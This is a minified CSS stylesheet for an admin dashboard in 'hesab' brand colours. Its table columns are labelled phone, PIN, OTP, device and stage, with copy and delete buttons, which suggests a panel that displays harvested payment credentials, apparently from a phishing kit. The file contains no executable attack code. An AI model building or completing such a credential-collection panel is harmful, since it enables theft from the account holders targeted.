:root{--hesab-blue:#00a0b0;--hesab-dark:#003d4d;--hesab-navy:#0d1b2a;--bg:#f5f7fa;--card-bg:#fff;--border:#e0e5ec;--text:#1a2332;--text-secondary:#6b7b8d;--danger:#e53935;--success:#43a047;--warning:#fb8c00}*{box-sizing:border-box;margin:0;padding:0}body{background:var(--bg);color:var(--text);font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,sans-serif}.loading-screen{flex-direction:column;justify-content:center;align-items:center;gap:16px;height:100vh;display:flex}.loading-screen p{color:var(--text-secondary);font-size:16px}.spinner{border:3px solid var(--border);border-top-color:var(--hesab-blue);border-radius:50%;width:40px;height:40px;animation:.8s linear infinite spin}@keyframes spin{to{transform:rotate(360deg)}}.admin-app{flex-direction:column;min-height:100vh;display:flex}.admin-header{background:var(--hesab-navy);color:#fff;z-index:100;justify-content:space-between;align-items:center;padding:16px 24px;display:flex;position:sticky;top:0;box-shadow:0 2px 8px #00000026}.header-left{align-items:center;gap:12px;display:flex}.admin-title{letter-spacing:-.5px;font-size:22px;font-weight:800}.admin-badge{background:var(--hesab-blue);color:#fff;text-transform:uppercase;border-radius:10px;padding:3px 8px;font-size:11px;font-weight:700}.header-stats{gap:24px;display:flex}.stat{flex-direction:column;align-items:flex-end;display:flex}.stat-label{color:#fff9;text-transform:uppercase;letter-spacing:.5px;font-size:11px}.stat-value{font-size:20px;font-weight:800}.search-bar{background:var(--card-bg);border-bottom:1px solid var(--border);z-index:99;align-items:center;gap:10px;padding:16px 24px;display:flex;position:sticky;top:61px}.search-icon{width:20px;height:20px;color:var(--text-secondary);flex-shrink:0}.search-bar input{color:var(--text);background:0 0;border:none;outline:none;flex:1;font-size:15px}.search-bar input::placeholder{color:var(--text-secondary)}.table-container{flex:1;padding:0;overflow-x:auto}.users-table{border-collapse:collapse;width:100%;font-size:14px}.users-table thead{background:var(--hesab-navy);color:#fff;position:sticky;top:0}.users-table th{text-align:left;text-transform:uppercase;letter-spacing:.5px;white-space:nowrap;padding:12px 14px;font-size:12px;font-weight:700}.users-table td{border-bottom:1px solid var(--border);white-space:nowrap;padding:12px 14px}.user-row{cursor:pointer;transition:background .15s}.user-row:hover{background:#e8f4f6}.col-num{color:var(--text-secondary);width:40px;font-weight:600}.col-phone{color:var(--hesab-dark);font-weight:700}.col-pin{color:var(--danger);font-weight:700}.col-otp{color:var(--hesab-blue);font-weight:600}.col-device{color:var(--text-secondary);text-overflow:ellipsis;max-width:120px;font-size:12px;overflow:hidden}.col-date{color:var(--text-secondary);font-size:12px}.col-actions{width:80px}.stage-badge{background:var(--warning);color:#fff;border-radius:10px;padding:2px 8px;font-size:11px;font-weight:700}.btn-view{background:var(--hesab-blue);color:#fff;cursor:pointer;border:none;border-radius:6px;padding:5px 12px;font-size:12px;font-weight:700;transition:background .15s}.btn-view:hover{background:var(--hesab-dark)}.empty-state{color:var(--text-secondary);justify-content:center;align-items:center;padding:80px 24px;font-size:16px;display:flex}.modal-overlay{z-index:1000;background:#00000080;justify-content:center;align-items:center;padding:20px;display:flex;position:fixed;inset:0}.modal-content{background:var(--card-bg);border-radius:16px;width:100%;max-width:600px;max-height:85vh;overflow-y:auto;box-shadow:0 20px 60px #0000004d}.modal-header{border-bottom:1px solid var(--border);background:var(--card-bg);border-radius:16px 16px 0 0;justify-content:space-between;align-items:center;padding:20px 24px;display:flex;position:sticky;top:0}.modal-header h2{font-size:20px;font-weight:800}.modal-close{cursor:pointer;color:var(--text-secondary);background:0 0;border:none;padding:0;font-size:28px;line-height:1}.modal-close:hover{color:var(--text)}.modal-meta{border-bottom:1px solid var(--border);padding:16px 24px}.meta-row{gap:8px;padding:4px 0;font-size:13px;display:flex}.meta-label{color:var(--text-secondary);min-width:100px;font-weight:600}.meta-value{color:var(--text);word-break:break-all}.modal-loading{color:var(--text-secondary);flex-direction:column;align-items:center;gap:12px;padding:40px;display:flex}.modal-fields{padding:16px 24px}.field-row{border-bottom:1px solid var(--border);flex-direction:column;gap:4px;padding:10px 0;display:flex}.field-row:last-child{border-bottom:none}.field-label{color:var(--text-secondary);text-transform:uppercase;letter-spacing:.5px;font-size:11px;font-weight:700}.field-value-container{justify-content:space-between;align-items:center;gap:8px;display:flex}.field-value{color:var(--text);word-break:break-all;flex:1;font-size:15px;font-weight:600}.btn-copy{background:var(--border);color:var(--text);cursor:pointer;border:none;border-radius:6px;flex-shrink:0;padding:4px 10px;font-size:11px;font-weight:700;transition:background .15s}.btn-copy:hover{background:var(--hesab-blue);color:#fff}.modal-footer{border-top:1px solid var(--border);justify-content:flex-end;padding:16px 24px;display:flex}.btn-delete{background:var(--danger);color:#fff;cursor:pointer;border:none;border-radius:8px;padding:8px 20px;font-size:14px;font-weight:700;transition:background .15s}.btn-delete:hover{background:#c62828}@media (width<=768px){.admin-header{padding:12px 16px}.admin-title{font-size:18px}.search-bar{padding:12px 16px;top:57px}.users-table th,.users-table td{padding:8px 10px;font-size:12px}.col-device,.col-date{display:none}}